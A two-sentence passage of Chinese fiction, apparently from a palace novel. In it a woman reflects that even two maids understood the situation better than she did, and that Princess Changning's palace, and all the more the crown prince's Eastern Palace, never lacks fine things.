她刚刚真是糊涂了，连两个侍女都早早看得比她清楚。 长宁公主宫中都从来不缺好东西，何况是东宫。